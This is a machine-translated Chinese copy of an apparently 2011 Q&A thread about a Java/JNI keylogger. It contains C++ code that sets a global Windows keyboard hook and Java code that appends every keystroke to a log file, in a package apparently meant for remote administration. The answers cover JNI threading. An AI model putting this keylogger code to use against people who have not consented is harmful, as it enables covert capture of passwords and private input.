2011-04-24 55 views
0

我正在編寫一個JNI密鑰記錄器,其原生代碼如下所示。需要關於jni代碼的幫助(從本機代碼調用java方法)

#include "com_webspur_rmtadmin_java_app_keylogger_KeyloggerHelper.h" 
#include "com_webspur_rmtadmin_java_app_keylogger_KeyloggerHelper_KeyListener.h" 
#include <cstring> 
#include <windows.h> 
#include <iostream> 
#include <stdio.h> 

HINSTANCE hinst; 
HHOOK hhk; 
JNIEnv * thisEnv; 
jclass thisClazz; 
jmethodID mid; 

LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int ,WPARAM , LPARAM); 

BOOL WINAPI DllMain( __in HINSTANCE hinstDLL, 
    __in DWORD fdwReason, 
    __in LPVOID lpvReserved 
) { 

hinst = hinstDLL; 
return TRUE; 
} 

LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode,WPARAM wParam, LPARAM lParam){ 
    thisEnv->CallStaticVoidMethod(thisClazz, mid, nCode); 
    LRESULT RetVal = CallNextHookEx(hhk, nCode, wParam, lParam); 
    return RetVal; 
} 

JNIEXPORT void JNICALL Java_com_webspur_rmtadmin_java_app_keylogger_KeyloggerHelper_unhookKeyListener 
    (JNIEnv * env, jclass clazz){ 
    thisEnv = NULL; 
    thisClazz = NULL; 
    mid = NULL; 
    UnhookWindowsHookEx(hhk); 
} 

JNIEXPORT void JNICALL Java_com_webspur_rmtadmin_java_app_keylogger_KeyloggerHelper_hookKeyListener 
    (JNIEnv * env, jclass clazz){ 
    thisEnv = env; 
    thisClazz = clazz; 
    mid = env->GetStaticMethodID(clazz, "onKeyPress", "(I)V"); 
    hhk = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hinst,0); 
} 

意圖的程序是通知的Java程序從本機代碼(一個靜態的方法OnKeyPress)其中,I會記錄密鑰並通知用戶。我將首先調用hookKeyListener(本地版本:Java_com_webspur_rmtadmin_java_app_keylogger_KeyloggerHelper_hookKeyListener),我將在其中註冊窗口鉤子並存儲所有參數(env,jclass和mid)。在回調(KeyboardProc)我會使用以前存儲ENVJCLASS中旬通知Java程序。最後取消註冊。

現在我面臨的問題是,Java方法(靜態)不會從本地代碼調用。以下是我的觀察。

1>若在Java_com_webspur_rmtadmin_java_app_keylogger_KeyloggerHelper_hookKeyListener調用Java方法中,成功地調用Java方法(這意味着我可以調用靜態方法)

2>我寫了一些測試代碼在KeyboardProc(回叫)等創建文件和記錄鍵進入它,然後它工作正常(這意味着胡克已正確註冊,並且在按下按鍵時也會被調用)

但是我無法從CallBack(KeyboardProc)調用java代碼。我對存儲的變量有疑問(env,jClass,mid) - 我可以將這些參數存儲到全局變量嗎?如果沒有,那麼我怎樣才能從本地代碼調用java程序?任何幫助表示讚賞。

下面是我想從本機代碼調用的java代碼。

package com.webspur.rmtadmin.java.app.keylogger; 

import java.io.BufferedWriter; 
import java.io.File; 
import java.io.FileWriter; 
import java.util.HashMap; 

public class KeyloggerHelper { 

    static{ 
     System.loadLibrary("KeyHookLibrary"); 
    } 

    public interface KeyListener{ 
     public void onKeyPress(int keyCode); 
    } 

    private static boolean started = false; 
    private static KeyListener keyListener = null; 
    private static BufferedWriter writer = null; 
    private static HashMap<Integer, String> specialKeys = new HashMap<Integer, String>(); 

    public static void init(){ 
     try{ 
      File logFile = new File("./resources/leylog.txt"); 
      if(!logFile.exists()) 
       logFile.createNewFile(); 
      writer = new BufferedWriter(new FileWriter(logFile, true)); 
     }catch (Exception e) { 
      e.printStackTrace(); 
     } 
    } 

    public static void start(KeyListener listener){ 
     keyListener = listener; 
     if(!started) 
      startInternal(); 
    } 

    public static void stop(){ 
     keyListener = null; 
     if(started) 
      stopInternal(); 
    } 

    private static void stopInternal() { 
     try{ 
      unhookKeyListener(); 
      started = false; 
      writer.close(); 
     }catch (Exception e) { 
      e.printStackTrace(); 
     } 
    } 

    private static native void unhookKeyListener(); 

    private static void startInternal(){ 
     hookKeyListener(); 
     started = true; 
    } 

    private static native void hookKeyListener(); 

    public static void onKeyPress(int keyCode){ 
     try{ 
      if(keyListener!=null) 
       keyListener.onKeyPress(keyCode); 
      writer.append((char)keyCode); 
     }catch (Exception e) { 
      //ignore.. 
     } 
    } 
} 

回答

1

您可以在全局變量存儲唯一的事情是:

  1. 領域和方法ID
  2. 創建明確

您不能存儲ENV全球裁判,你可以」存儲作爲參數交給你的本地參考。

您不知道您將在事件處理程序中調用哪個線程,因此您必須明確附加。

總之,請參閱http://java.sun.com/docs/books/jni/html/invoke.html

+0

謝謝。這正是我想要的。 – hnm 2011-04-24 13:46:28

0

太多的代碼讓我煩惱閱讀,交配。

我不知道爲什麼你需要本地代碼。爲什麼不用Java編寫整個東西,因爲它可以響應鍵盤上的每個按鍵?

您覺得需要原生代碼,但回調Java的要求應該是一個提示:不要這樣做。你過着複雜的生活而沒有回報。想'簡單'。

+0

在java中,沒有辦法註冊全局鍵監聽器。 Java只能在擁有焦點時才能聽按鍵,所以本地代碼 – hnm 2011-04-24 11:44:47

+1

在關鍵事件中與Java展開戰爭不太可能會帶來滿意的結果。 – bmargulies 2011-04-24 12:37:18